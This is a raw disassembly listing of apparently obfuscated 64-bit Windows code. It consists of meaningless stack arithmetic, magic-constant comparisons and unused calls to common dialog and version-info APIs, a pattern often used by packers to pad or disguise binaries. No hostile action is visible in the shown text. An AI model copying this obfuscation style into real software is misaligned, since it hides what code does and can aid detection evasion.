movsx ecx, word [rsp + 0xfa8]
shl eax, cl
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3fa0]
add eax, 0x6a
mov dword [rsp + 0x3fa0], eax
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + 0x197]
and eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
add eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7570]
mov rcx, qword [rsp + 0x75d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7568]
mov rcx, qword [rsp + 0x7540]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f64], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x75c8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
movsx eax, word [rsp + 0xfa8]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x196]
xor eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
cmp dword [rsp + 0x3fa0], 0x3a90
jb 0x140006b1b
lea rax, [rsp + 0x10ec]
mov qword [rsp + 0x7668], rax
mov rax, qword [rsp + 0x7568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fa8]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3f94]
mov rdx, qword [rsp + 0x7540]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140007006
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x75c8]
mov qword [rsp + 0x7670], rax
movabs rax, 0xad7f8104b89e8dea
cmp qword [rsp + 0x7670], rax
je 0x140006f9a
jmp 0x140006fe9
lea rax, [rsp + 0x195]
mov qword [rsp + 0x7678], rax
lea rax, [rsp + 0x7570]
mov qword [rsp + 0x7680], rax
mov rax, qword [rsp + 0x7618]
mov qword [rsp + 0x7688], rax
mov eax, dword [rsp + 0x3f9c]
movzx ecx, al
mov eax, dword [rsp + 0x3f64]
shl eax, cl
mov rcx, qword [rsp + 0x7610]
mov dword [rcx], eax
jmp 0x140007006
mov rax, qword [rsp + 0x7598]
mov rcx, qword [rsp + 0x7608]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3aa0], eax
cmp dword [rsp + 0x3f78], 0x5171
jbe 0x1400071cf
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f4]
and eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
sub eax, ecx
mov byte [rsp + 0x197], al
mov eax, dword [rsp + 0x3f78]
sub eax, 9
mov dword [rsp + 0x3f78], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x75c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f74]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7570]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f94]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7610]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7688]
mov rcx, qword [rsp + 0x7640]
mov qword [rsp + 0x7690], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7690]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1401f94c8], rax
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
xor eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x10e8]
movzx ecx, word [rsp + 0x10f0]
sar eax, cl
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [rsp + 0x10ec]
or eax, ecx
mov word [rsp + 0x1100], ax
jmp 0x140007006
cmp dword [rsp + 0x3f90], 0xc3dd
je 0x140007546
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
mov rax, qword [0x1401f94c8]
mov rcx, qword [rsp + 0x7688]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f74]
mov ecx, dword [rsp + 0x3aa0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f68], eax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f64], eax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7588]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7570], rax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x1100]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10f8]
add eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa8]
sub eax, ecx
mov word [rsp + 0x10f4], ax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
add eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f68]
shl eax, cl
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [0x1401f94c8]
mov rcx, qword [rsp + 0x7640]
mov qword [rsp + 0x7698], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7698]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f64]
mov ecx, dword [rsp + 0x3fa8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7610]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75c8]
or rcx, rax
mov rax, rcx
mov qword [0x1401f94c8], rax
movsx eax, word [section..data]
movsx ecx, word [rsp + 0x1100]
and eax, ecx
mov word [rsp + 0x10ec], ax
movzx eax, word [rsp + 0x10e8]
mov word [rsp + 0x10f0], ax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f90]
add eax, 0xf8
mov dword [rsp + 0x3f90], eax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0xfa8]
add eax, ecx
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f74]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3aa0], eax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7610]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x7688]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7618], rax
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x7570]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10e8]
or eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x197], al
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [rsp + 0x10ec]
shl eax, cl
mov word [rsp + 0x10f4], ax
jmp 0x1400071cf
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x7688]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x7610]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fa8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f64], eax
mov dword [rsp + 0x3fdc], 0x7ef0
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x75d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7588]
mov rdx, qword [rsp + 0x7600]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jl 0x1401dc858
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
mov dword [rsp + 0x3fe0], eax
cmp dword [rsp + 0x3fe0], 0
je 0x1400076bc
cmp dword [rsp + 0x3fe0], 0x277
je 0x1400075f5
jmp 0x140007701
movzx eax, word [rsp + 0x10fc]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x3fe4], al
cmp byte [rsp + 0x3fe4], 0xc8
je 0x140007630
jmp 0x140007696
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x194]
xor eax, ecx
mov byte [rsp + 0x195], al
lea rcx, [rsp + 0x2e500]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x3fb0], eax
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x194]
sar eax, cl
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0x1104]
shl eax, cl
mov word [rsp + 0xfa8], ax
jmp 0x1400076ba
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
jmp 0x140007701
lea rax, [0x1401f94c8]
mov qword [rsp + 0x76a0], rax
mov dword [rsp + 0x3fe8], 0xa4fa
lea rax, [rsp + 0x3f94]
mov qword [rsp + 0x76a8], rax
mov dword [rsp + 0x3fec], 0x3c43
lea rax, [rsp + 0x3f68]
mov qword [rsp + 0x76b0], rax
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x194]
sub ecx, edx
cmp eax, ecx
jl 0x1401dc7ed
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x194]
sub eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3aa0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov edx, dword [rsp + 0x3f74]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x1400077c9
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [section..data]
sar eax, cl
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
lea rcx, [rsp + 0x2e000]
call qword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [rsp + 0x3ff0], eax
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x71c8]
shl rax, cl
mov rcx, qword [rsp + 0x7640]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x75c8]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x14000788a
mov eax, dword [rsp + 0x3f64]
mov dword [rsp + 0x3ff4], eax
cmp dword [rsp + 0x3ff4], 0x1400e430
je 0x140007869
cmp dword [rsp + 0x3ff4], 0xb3b4c3ca
je 0x14000782e
jmp 0x140007885
movsx eax, word [rsp + 0x1104]
movsx ecx, word [rsp + 0x10f4]
add eax, ecx
mov rcx, qword [rsp + 0x7668]
mov word [rcx], ax
mov rax, qword [rsp + 0x7630]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x75f8]
movzx ecx, word [rax]
call fcn.1401ddfb0
nop
jmp 0x140007885
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3aa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f68], eax
jmp 0x14000796b
mov rax, qword [rsp + 0x7540]
mov rcx, qword [rsp + 0x7568]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x76a8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3f9c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14000796b
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
mov byte [rsp + 0x3ff8], al
cmp byte [rsp + 0x3ff8], 0x98
je 0x1400078db
jmp 0x140007937
mov eax, dword [rsp + 0x3f94]
mov ecx, dword [rsp + 0x3fa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
lea rcx, [rsp + 0x2e580]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x3f48], eax
mov r9, qword [rsp + 0x75d8]
mov r8, qword [rsp + 0x7570]
mov rax, qword [rsp + 0x7680]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x75d8]
call fcn.1401dcd70
nop
jmp 0x14000796b
mov rax, qword [rsp + 0x75f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f4]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
lea rcx, [rsp + 0x2e600]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x3fcc], eax
cmp dword [rsp + 0x3fbc], 0xddce
jae 0x140007eea
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7688]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7618], rax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10fc]
sub eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
movzx eax, word [rsp + 0x10f8]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
or eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f68]
mov ecx, dword [rsp + 0x3f74]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x76a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1104]
and eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fa8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f9c], eax
mov rax, qword [rsp + 0x7668]
movzx eax, word [rax]
mov word [rsp + 0x1104], ax
movzx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
sub eax, ecx
mov word [rsp + 0x1104], ax
movzx eax, word [rsp + 0x10f0]
movzx ecx, word [rsp + 0x10fc]
add eax, ecx
mov word [rsp + 0x10f8], ax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x76a8]
mov rcx, qword [rsp + 0x7568]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f64], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x76a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401f94c8], rax
mov eax, dword [rsp + 0x3f68]
mov rcx, qword [rsp + 0x7598]
mov qword [rsp + 0x76b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x76b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x76b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
sar eax, cl
mov byte [rsp + 0x197], al
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x198]
xor eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
movzx eax, word [rsp + 0x10fc]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x76a8]
mov ecx, dword [rsp + 0x3fa8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f9c], eax
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7570], rax
mov eax, dword [rsp + 0x3fbc]
add eax, 0x88
mov dword [rsp + 0x3fbc], eax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0xfa8]
sub eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7688]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
sub eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [rsp + 0x10f4]
sub eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x10fc]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10e8], ax
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + 0x197]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7570]
mov rcx, qword [rsp + 0x7588]
mov qword [rsp + 0x76c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x76c0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7680]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f74]
mov rcx, qword [rsp + 0x76b0]
mov qword [rsp + 0x76c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x76c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3aa0], eax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x76a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1401f94c8], rax
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x71c8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
movzx eax, word [rsp + 0x10f0]
movzx ecx, word [rsp + 0x10e8]
and eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
add eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
mov rax, qword [rsp + 0x7668]
movsx eax, word [rax]
movsx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0x10ec], ax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10e8]
and eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
movzx eax, byte [rsp + 0x194]
movzx ecx, byte [rsp + 0x195]
sub eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7570]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75d8], rax
mov rax, qword [rsp + 0x7610]
mov ecx, dword [rsp + 0x3f9c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x76a8]
mov dword [rcx], eax
jmp 0x14000796b
mov rax, qword [rsp + 0x7548]
movzx eax, byte [rax]
mov byte [rsp + 0x3ffc], al
cmp byte [rsp + 0x3ffc], 0
je 0x140007f08
jmp 0x140007f54
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
mov dword [rsp + 0x4000], eax
cmp dword [rsp + 0x4000], 0x5552
je 0x140007f29
jmp 0x140007f4f
mov rax, qword [rsp + 0x7640]
mov rcx, qword [rsp + 0x76a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401f94c8], rax
call fcn.1401de470
nop
jmp 0x1400080a2
mov rax, qword [rsp + 0x76a0]
mov rcx, qword [rsp + 0x7640]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x75c8]
mov rdx, qword [rsp + 0x7688]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x14000807b
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f68]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7680]
mov rax, qword [rax]
mov qword [rsp + 0x76d0], rax
movabs rax, 0x1136b89c4da40413
cmp qword [rsp + 0x76d0], rax
je 0x14000805e
movabs rax, 0x20829b6d272ddec5
cmp qword [rsp + 0x76d0], rax
je 0x140007fef
jmp 0x14000807b
mov rax, qword [rsp + 0x7548]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
xor eax, ecx
mov byte [rsp + 0x196], al
lea rcx, [rsp + 0x2e680]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x3f5c], eax
movzx eax, byte [rsp + 0x198]
movzx ecx, byte [rsp + 0x194]
sar eax, cl
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7628]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10f8], ax
jmp 0x14000807b
movsx eax, word [rsp + 0x1100]
movsx ecx, word [rsp + 0x10ec]
sub eax, ecx
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
lea r9, [rsp + 0x76a0]
mov r8d, 0xb2
mov edx, 0x30
mov rcx, qword [rsp + 0x76d8]
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [rsp + 0x3f48], eax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
mov dword [rsp + 0x4004], eax
cmp dword [rsp + 0x4004], 0
je 0x1400080d4
cmp dword [rsp + 0x4004], 0xa01
je 0x1401dc693
jmp 0x1401dc77f
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7678]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x194]
movzx edx, byte [rsp + 0x195]
add ecx, edx
cmp eax, ecx
je 0x140008124
mov rax, qword [rsp + 0x7568]
mov rcx, qword [rsp + 0x7558]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7568]
mov dword [rcx], eax
jmp 0x140008170
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76a0]
mov rdx, qword [rsp + 0x7688]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jbe 0x140008170
mov rax, qword [rsp + 0x7630]
movzx edx, byte [rax]
movzx ecx, word [section..data]
call fcn.1401ddfb0
nop
cmp dword [rsp + 0x3fe8], 0xa83a
ja 0x14000869d
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10fc]
sar eax, cl
mov rcx, qword [rsp + 0x75c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x197], al
movzx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0x7630]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
movsx eax, word [rsp + 0x1104]
mov rcx, qword [rsp + 0x7668]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
add eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
mov rax, qword [rsp + 0x76b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f68], eax
mov rax, qword [rsp + 0x76a0]
mov rcx, qword [rsp + 0x75c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x76a0]
